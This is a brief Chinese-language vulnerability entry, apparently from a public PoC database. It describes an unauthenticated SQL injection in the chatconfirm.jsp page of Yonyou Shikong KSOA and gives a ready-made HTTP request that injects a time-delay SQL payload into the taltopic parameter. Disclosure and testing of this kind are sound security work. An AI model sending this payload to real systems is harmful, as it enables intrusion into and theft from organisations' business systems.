用友-时空KSOA chatconfirm 存在SQL注入漏洞

2025-12-19 用友时空KSOA PoC Public

Description

用友-时空KSOA chatconfirm 存在SQL注入漏洞，未经授权攻击者可构造特殊请求获取系统内部数据

PoC

GET /luntan/chatconfirm.jsp?taltopic=%27%3bWAITFOR+DELAY+%270%3a0%3a3%27-- HTTP/1.1
Host:

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://www.ddpoc.com/DVB-2025-10514.html

References

Related Vulnerabilities